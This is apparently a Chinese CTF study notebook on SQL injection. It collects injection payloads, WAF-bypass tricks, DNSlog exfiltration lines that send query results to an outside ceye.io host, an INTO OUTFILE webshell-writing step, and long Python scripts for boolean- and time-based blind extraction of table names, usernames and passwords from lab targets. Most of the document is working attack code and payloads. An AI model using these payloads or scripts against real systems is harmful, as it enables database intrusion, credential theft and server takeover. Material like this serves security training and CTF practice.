CTF-Web【SQL注入】漏洞做题姿势积累

前言

本篇文章专门用于记录做SQL注入类题目的做题姿势,会不断更新。

判断注入常用的的方式

1
2
3
4
5
6
7
8
9
10
11
'     //  报错有可能存在注入
1 or 1=1 # // 正常显示 可能存在注入 意味着还需要进一步注入
1 and 1=1 # // 正常显示 可能存在注入
1 and 1=2 # // 不能显示 存在注入
1 || or 1=1 # //
1 && 1=1 #
1^0 # // 显示异常 则存在注入
1^1 # // 显示正常,可能存在注入
1' or 3>2 --
1' or 3<2 --
%DF' union select 1,2,3 -- - // 宽字节注入

延时注入检测payload

1
admin' AND (SELECT 4792 FROM (SELECT(SLEEP(5)))Nttm) AND 'fJzs'='fJzs
1
1 and (select 6583 from (select(sleep(5)))SjTQ)

过滤绕过

等于号被过滤

1
2
3
4
5
6
and=`&&`  or=`||`   xor=`|`   not=`!`
<>
like
in
between and
regexp
1
2
3
4
5
6
$sql = select * from user where id=1;
使用in方法绕过
使用示例:
$sql = select * from user where id in (1);
使用like 绕过
$sql = select * from user Where id like 5

逗号绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
select substr(database() from 1 for 1);

select mid(database() from 1 for 1);
select * from news limit 0,1

# 等价于下面这条SQL语句

select * from yang limit 1 offset 0

union select 1,2
等价于
union select * from (select 1)a join (select 2)b

select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'

select * from news limit 0,1
等价于
select * from news limit 1 offset 0

空格被过滤,替代方法

1
2
3
4
5
6
7
8
9
10
%09 TAB键(水平)
%0a 新建一行
%0b TAB键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
%20 空格
()
<>
/**/

可用注释符

1
2
3
4
5
--+
#
%23
;%00
,'1

使用等价函数绕过关键字被过滤

1
2
3
4
编码
双写绕过
大小写绕过
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

ord 被过滤

ascii

preg_match 绕过

数组绕过

绕过addslashes转义

宽字节注入

1
2
3
%DF' union select 1,2,3 -- -
�' union select 1,2,3 -- -
�' union select 1,2,3 --

information_schemab.tables 被过滤

替代表

1
2
mysql.innodb_table_stats
table_schema 换成 database_name

注意:MySQL5.6以上才有 sys 库

1
2
sys.x$schema_table_statistics(只能查表名,查不到列名)
表名:table_name 数据库:table_schema
1
2
sys.schema_auto_increment_columns(可获取表名和库名)
表名:table_name 数据库:table_schema
1
2
sys.schema_table_statistics_with_buffer(可获取表名)
表名:table_name 数据库:table_schema

注入语法

sqllit注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

查找表名和列名
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4 --
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4/*

聚合的方式
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4 --
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4/*

查数据
-1' union select 1,2,(select group_concat(username,password) from users),4;
-1' union select 1,2,(select group_concat(username,password) from users),4 --
-1' union select 1,2,(select group_concat(username,password) from users),4/*

异或注入语法

判断
1
2
1^1^1    // 1
1^0^1 // 0
猜测表名
1
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)^1
猜测列名
1
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='表名')),1,1))>0)^1
猜测值
1
1^(ord(substr((select(group_concat(列名))from(表名)),1,1))>0)^1

报错注入语法

1
and extractvalue(1, concat(0x7e, (语句)))
1
and updatexml(1, concat(0x7e, (语句), 0x7e), 1)

0x7e可代替的字符有:’~’ ‘$’

updatexml的concat可以代替的函数有:make_set

update报错注入

1
select group_concat(password) from (select * from users)b

表名可控注入

1
control=users where updatexml(1,concat(0x5e24,(user()),0x5e24),1) --+&id=1

布尔盲注语法

猜数据库名长度
1
and (length(database())=%d --+
猜数据库名
1
and (ord(mid(database(),%d,1))='%s') --+
猜数据库中所有表数量
1
and %d=(select count(table_name) from information_schema.tables where table_schema=database())--+
猜数据库中单个表长度
1
and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+
猜数据库单个表名
1
and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+
猜表中字段数量
1
and %d=(select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())--+
猜表中单个字段长度
1
and (select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database()  limit %d ,1)=%d --+
猜表中单个字段名
1
and ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d --+
猜表中字段名的字段值数量
1
and (select count(%s) from %s )=%d --+
猜表中字段名的字段值长度
1
and (select length(%s) from %s limit %d,1)=%d --+
猜表中字段名的字段值
1
and ord(mid((select %s from %s limit %d,1),%d,1))=%d --+

时间盲注语法

1
and if(条件语句, sleep(3), 1)
时间盲注函数

sleep()
benchmark()

时间盲注&dnslog的利用

使用DnsLog盲注仅限于windos环境

查数据库

1
SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))
1
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+

查表名

1
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

查字段

1
' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

查数据

1
2
' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

注意:因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

1
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

参考:https://www.cnblogs.com/xhds/p/12322839.html

dns平台:http://ceye.io/records/dns

无列名注入(只知道表名的情况下查询数据)

子查询绕过
1
(select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名
1
((select c from (select 1,2,3 as c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
join爆破列名
1
?id=-1' union all select * from (select * from users as a join users as b)as c--+//as主要作用是起别名,就是把users表当做a表,常规来说as可以省略
1
?id=-1' union all select*from (select * from users as a join users as b using(id,username))as c--+
逐字符检索数据

这里的select 1 是对应字段的位置 比如 id username password 1 就对应id 2就对应 username 3就对应 password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mysql> select (select 1,'c') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+
mysql> select (select 1,'d') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
//说明第二个字段的第一位是c,以此类推


mysql> select (select 1,'cm') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+

regexp注入

order by 盲注

查看表内容未完全显示的方法

not in 排除的方式显示
1
table_name='users' and table_schema=database() and column_name not in ("username"))))#&passwd=12
left right 截断的方式显示
1
2
select(group_concat(left(password,25)))
select(group_concat(right(password,25)))
正则直接匹配
1
test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
reserver逆序输出
1
test"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

字符串截取函数

1
2
3
4
5
6
left(str,index) 从左边第index开始截取
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,len) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
ord

####

sql注入getshell

写入一句话

1
union select 1,2,'一句话木马' into outfile "绝对路径"
1
union select 1,@@basedir,@@datadir  查看网站路径

读取文件

1
union/**/select 1,load_file("/var/www/html/flag.php"),3,4 %23

特殊知识点的解决方法

1
2
$sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){
}
1
username=admin' union select 1,md5(123)#&password=123

二次注入的payload

[网鼎杯2018]Unfinish

1
0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0

脚本

异或盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url='http://bdeb176a-4425-4fe9-997e-02afb5312134.node3.buuoj.cn/index.php'
flag=''

for i in range(50):
a = 32
b = 128
mid = (a+b)//2
while(a<b):

#stunum=0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0) 爆表名

#stunum=0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),1,1))>0) 爆列名
print(mid)
payload = url+"?stunum=0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)
import time
time.sleep(1)
re = requests.get(url=payload)
# 首先判断目标值 是否小于
if 'admin' in re.text:
a = mid + 1
else:
# 目标值 大于 则直接 将 mid 赋值给 b
b = mid
mid = (a+b)//2
# 这个二分查找的方式是 完整的走完一遍,也就是跑7次
if (mid==32|mid==128):
break

flag +=chr(mid)
print(flag)

[网鼎杯2018]Unfinish 拿flag脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

login_url='http://bd22f3b3-0647-4006-bfca-e63aaad5a97d.node4.buuoj.cn:81/login.php'
register_url='http://bd22f3b3-0647-4006-bfca-e63aaad5a97d.node4.buuoj.cn:81/register.php'
content=''
for i in range(1,20):
data_register={'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
#print(data)
data_login={'email':'15@%d'%i,'password':'1'}
res = requests.post(register_url,data=data_register)
print(res)

rr=requests.post(login_url,data=data_login)
rr.encoding='utf-8'
r=rr.text
location=r.find('user-name')
cont=r[location+17:location+42].strip()
content+=cont
print(cont)
#content=content.decode('hex').decode('hex')
print(content)

自己写的脚本(用于dvwa和sqllib靶场)

布尔盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
import requests
# 功能:基于回显的布尔盲注脚本
# 适用于sqlilabs DVWA
# 根据 key 的内容判断
class exp_sql(object):
def __init__(self, key, params=None,headers=None):
# 判断回显的关键字
self.str_key = key
# 头部
self.headers = headers
# 参数
self.params = params

def get_dbname(self, url): # 拿到当前数据库名
# payload = "' and (length(database())=8) --+"
length = 1
while True:
payload = "' and (length(database())=%d) --+"%(length)
payload_url = url+payload
# print("[*] "+payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
# print(resp.text)
if self.str_key in resp.text:
print("[+] length: " + str(length))
db_name = self.exp_dbname(url, length)
break
length+=1

print("[+] 当前数据库名: " + db_name)

def exp_dbname(self, url, length): # 爆破数据库名
arr_str = self.ascii_str()
db_name = ""
# ord 返回字符串第一个字符的 ASCII 值。
# mid 得到一个字符串的一部分
for i in range(1, length+1):
for j in arr_str:
payload = "' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
payload_url = url + payload
# print("[*] " + payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] " + j)
break
db_name += j
print("[*]" + db_name)

return db_name

def get_tables(self, url): # 拿到当前数据库所有表名数量
# ' and 4=(select count(table_name) from information_schema.tables where table_schema=database())--+
num = 0
while True:
payload = "' and %d=(select count(table_name) from information_schema.tables where table_schema=database())--+"%(num)
payload_url = url + payload
# print("[*] " + payload_url)
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
# print(resp.text)
if self.str_key in resp.text:
print("当前数据库表总数量:"+str(num))
tables = self.get_table_length(url, num)
break

num += 1
print("[+] 当前数据库所有表: " + str(tables))

def get_table_length(self, url, num): # 判断单个表名长度
tables = []
# ' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
for i in range(0, num):
length = 1
while True:
# 判断表长度
payload = "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i, length)
payload_url = url+ payload
# print("[*] " + payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
print("[+] 表名长度 " + str(length))
# 由长度 猜解表名
table_name = self.get_table_name(url, i, length)
print("[+] 第"+str(i+1)+ "张表名:" + table_name)
tables.append(table_name)
break
length += 1

return tables

def get_table_name(self, url, count,length): # 猜解表名
arr_str = self.ascii_str()
table_name = ""
# ' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+
for i in range(1, length+1):
for s in arr_str:
payload = "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(count, i, ord(s))
payload_url = url+ payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[*] " + s)
break

table_name += s
print("[*] " + table_name)

return table_name

def get_columns(self, url, tables): # 拿到传入的表中所有字段名
table_dict = {}
for table in tables:
num = 0
while True:
payload = "'and %d=(select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())--+"%(num, table)
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
print('[+] 总字段数 num: ' + str(num))
columns = self.get_column_length(url, num, table)
break
num += 1
table_dict[table] = columns

print("[+] {表名: [字段名..]} " + str(table_dict))

def get_column_length(self, url, num, table): # 判断单个字段长度
columns = []
# 'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d ,1)=%d --+
for i in range(0, num):
length = 1
while True:
payload = "'and (select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d ,1)=%d --+"%(table, i, length)
payload_url = url + payload
resp = requests.get(payload_url, headers=self.headers, params=self.params)
# print(payload)
if self.str_key in resp.text:
print("[+] length: " + str(length))
column_name = self.get_column_name(url, i, table, length)
print("[+] " + column_name)
columns.append(column_name)
break
length += 1
return columns

def get_column_name(self, url, num, table, length): # 拿到单个字段名
str_arr = self.ascii_str()
column_name = ""
# 'and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+
for i in range(1, length+1):
for s in str_arr:
payload = "'and ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d --+"%(table, num, i, ord(s))
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] " + s)
column_name += s
break
print("[*] " + column_name)

return column_name

def get_columns_value(self, url, table, columns): # 拿到传入字段的所有字段值
column_dict = {}
# 'and (select count('username') from users )=13 --+
for column in columns:
num = 0
while True:
payload = "'and (select count(%s) from %s )=%d --+"%(column, table, num)
payload_url = url + payload
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
print("[+] num " + str(num))
columns_value = self.get_column_value_length(url, table, column, num)
column_dict[column] = columns_value
break
num += 1

print("[+] {字段名1: {字段值1..}, 字段名2: {字段值1..}} \n" + str(column_dict))

def get_column_value_length(self, url, table, column, num): # 拿到当前传入字段值长度
columns_value = []
# 'and (select length(%s) from %s limit %d,1)=%d --+
for i in range(0, num):
length = 1
while True:
payload = "'and (select length(%s) from %s limit %d,1)=%d --+"%(column, table, i, length)
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] num " + str(i) + " length " + str(length))
column_value = self.exp_column_value(url, table, column, i, length)
print("[+] " + column_value)
columns_value.append(column_value)
break
length += 1
return columns_value

def exp_column_value(self, url, table, column, num, length): # 拿到单个字段值

arr_str = self.ascii_str()
column_value = ""
# 'and ord(mid((select count(username) from users limit 0,1) 0,1))=%s
for i in range(1, length+1):
for s in arr_str:
payload = "'and ord(mid((select %s from %s limit %d,1),%d,1))=%d --+"%(column, table, num, i, ord(s))
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] " + s)
column_value += s

break
print("[*] " + column_value)
return column_value

def ascii_str(self): #生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list #返回字符列表





if __name__ == "__main__":
# sqli less-5
s1 = exp_sql(key="You are in")
# s1.get_dbname(url="http://127.0.0.1:9002/Less-5/?id=1")
# s1.get_tables(url="http://127.0.0.1:9002/Less-5/?id=1")
# s1.get_columns(url="http://127.0.0.1:9002/Less-5/?id=1", tables=['users'])
s1.get_columns_value(url="http://127.0.0.1:9002/Less-8/?id=1", table='users', columns=['username', 'password'])


# DVWA 盲注
# key = "exists"
# headers = {"Cookie": "sitekeyword=%26nbsp%3B; PHPSESSID=405e9e837c04dfda1cae39e51c85e316; security=low",
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}
# params = {"Submit": "Submit"}


# s2 = exp_sql(key=key, headers=headers, params=params)
# # # s2.get_dbname(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# # # s2.get_tables(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# # s2.get_columns(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", tables=['guestbook'])
# s2.get_columns_value(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", table='users', columns=['user', 'password'])
时间盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
import requests
import datetime
# 功能:基于回显的布尔盲注脚本
# 适用于sqlilabs DVWA
class exp_sql(object):
def __init__(self, sec=3, params=None,headers=None):
# 暂停秒数 低于3秒 返回结果可能不准确
self.sec = sec
# 头部
self.headers = headers
# 参数
self.params = params

def get_dbname(self, url): # 拿到当前数据库名
# 'and if(left(database(),1)='%s' , sleep(3), 1) --+
length = 1
while True:
payload = "'and if(length(database())=%d, sleep(%d), 1) --+"%(length, self.sec)
payload_url = url+payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] length: " + str(length))
db_name = self.exp_dbname(url, length)
break
length+=1

print("[+] 当前数据库名: " + db_name)

def exp_dbname(self, url, length): # 爆破数据库名
# ' and if(substr(database(), %d, 1)='%s' , sleep(3), 1) --+
arr_str = self.ascii_str()
db_name = ""
# ord 返回字符串第一个字符的 ASCII 值。
# mid 得到一个字符串的一部分
for i in range(1, length+1):
for j in arr_str:
payload = "' and if(substr(database(), %d, 1)='%s' , sleep(%d), 1) --+"%(i, j, self.sec)
payload_url = url + payload
# print("[*] " + payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] " + j)
break
db_name += j
print("[*]" + db_name)

return db_name

def get_tables(self, url): # 拿到当前数据库所有表名
# 'and if( (select count(table_name) from information_schema.tables where table_schema=database())=%d, sleep(3), 1) --+"%(num)
num = 0
while True:
payload = "'and if((select count(table_name) from information_schema.tables where table_schema=database())=%d, sleep(%d), 1) --+"%(num, self.sec)
payload_url = url + payload
# print("[*] " + payload_url)
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("当前数据库表总数量:"+str(num))
tables = self.get_table_length(url, num)
break

num += 1
print("[+] 当前数据库所有表: " + str(tables))

def get_table_length(self, url, num): # 判断单个表名长度
tables = []
# 'and if( (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d, sleep(%d), 1) --+
for i in range(0, num):
length = 1
while True:
# 判断表长度
payload = "'and if( (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d, sleep(%d), 1) --+"%(i, length, self.sec)
payload_url = url+ payload
# print("[*] " + payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] 表名长度 " + str(length))
# 由长度 猜解表名
table_name = self.get_table_name(url, i, length)
print("[+] 第"+str(i+1)+ "张表名:" + table_name)
tables.append(table_name)
break
length += 1

return tables

def get_table_name(self, url, count,length): # 猜解表名
arr_str = self.ascii_str()
table_name = ""
# 'and if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1), %d,1))=%s, sleep(3), 1) --+"%(count, i, ord(s))
for i in range(1, length+1):
for s in arr_str:
payload = "'and if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1), %d,1))=%s, sleep(%d), 1) --+"%(count, i, ord(s), self.sec)
payload_url = url+ payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[*] " + s)
table_name += s
break

print("[*] " + table_name)

return table_name

def get_columns(self, url, tables): # 拿到传入的表中所有字段名
# 'and if((select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())=%d, sleep(3), 1)--+"%(table, num)
table_dict = {}
for table in tables:
num = 0
while True:
payload = "'and if((select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())=%d, sleep(%d), 1)--+"%(table, num, self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print('[+] 总字段数 num: ' + str(num))
columns = self.get_column_length(url, num, table)
break
num += 1
table_dict[table] = columns

print("[+] {表名: [字段名..]} " + str(table_dict))

def get_column_length(self, url, num, table): # 判断单个字段长度
columns = []
# 'and if((select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)=%d , sleep(3), 1) --+"%(table, i, length)
for i in range(0, num):
length = 1
while True:
payload = "'and if((select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)=%d , sleep(%d), 1) --+"%(table, i, length, self.sec)
payload_url = url + payload
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] length: " + str(length))
column_name = self.get_column_name(url, i, table, length)
print("[+] " + column_name)
columns.append(column_name)
break
length += 1
return columns

def get_column_name(self, url, num, table, length): # 拿到单个字段名
str_arr = self.ascii_str()
column_name = ""
# 'and if(ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1), %d,1))=%d , sleep(3), 1) --+"%(table, num, i, ord(s))
for i in range(1, length+1):
for s in str_arr:
payload = "'and if(ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1), %d,1))=%d , sleep(%d), 1) --+"%(table, num, i, ord(s), self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] " + s)
column_name += s
break
print("[*] " + column_name)

return column_name

def get_columns_value(self, url, table, columns): # 拿到传入字段的所有字段值
column_dict = {}
# 'and if((select count(%s) from %s)=%d, sleep(3), 1) --+"%(column, table, num)
for column in columns:
num = 0
while True:
payload = "'and if((select count(%s) from %s)=%d, sleep(%d), 1) --+"%(column, table, num, self.sec)
payload_url = url + payload
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] num " + str(num))
columns_value = self.get_column_value_length(url, table, column, num)
column_dict[column] = columns_value
break
num += 1

print("[+] {字段名1: {字段值1..}, 字段名2: {字段值1..}} \n" + str(column_dict))

def get_column_value_length(self, url, table, column, num): # 拿到当前传入字段值长度
columns_value = []
# 'and (select length(%s) from %s limit %d,1)=%d --+
for i in range(0, num):
length = 1
while True:
payload = "'and if((select length(%s) from %s limit %d,1)=%d, sleep(%d), 1) --+"%(column, table, i, length, self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] num " + str(i) + " length " + str(length))
column_value = self.exp_column_value(url, table, column, i, length)
print("[+] " + column_value)
columns_value.append(column_value)
break
length += 1
return columns_value

def exp_column_value(self, url, table, column, num, length): # 拿到单个字段值

arr_str = self.ascii_str()
column_value = ""
# 'and if(ord(mid((select %s from %s limit %d,1), %d,1))=%d, sleep(3), 1) --+"%(column, table, num, i, ord(s))
for i in range(1, length+1):
for s in arr_str:
payload = "'and if(ord(mid((select %s from %s limit %d,1), %d,1))=%d, sleep(%d), 1) --+"%(column, table, num, i, ord(s), self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] " + s)
column_value += s

break
print("[*] " + column_value)
return column_value

def ascii_str(self): #生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list #返回字符列表



if __name__ == "__main__":
# sqli less-5
# s1 = exp_sql()
# s1.get_dbname(url="http://127.0.0.1:9002/Less-9/?id=1")
# s1.get_tables(url="http://127.0.0.1:9002/Less-9/?id=1")
# s1.get_columns(url="http://127.0.0.1:9002/Less-9/?id=1", tables=['users'])
# s1.get_columns_value(url="http://127.0.0.1:9002/Less-9/?id=1", table='users', columns=['username', 'password'])


# DVWA 盲注
headers = {"Cookie": "sitekeyword=%26nbsp%3B; PHPSESSID=dee9efccd127ae9b659726416910bbaf; security=low",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}
params = {"Submit": "Submit"}


# s2 = exp_sql(headers=headers, params=params)
# s2.get_dbname(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# s2.get_tables(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# # s2.get_columns(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", tables=['guestbook'])
# s2.get_columns_value(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", table='users', columns=['user', 'password'])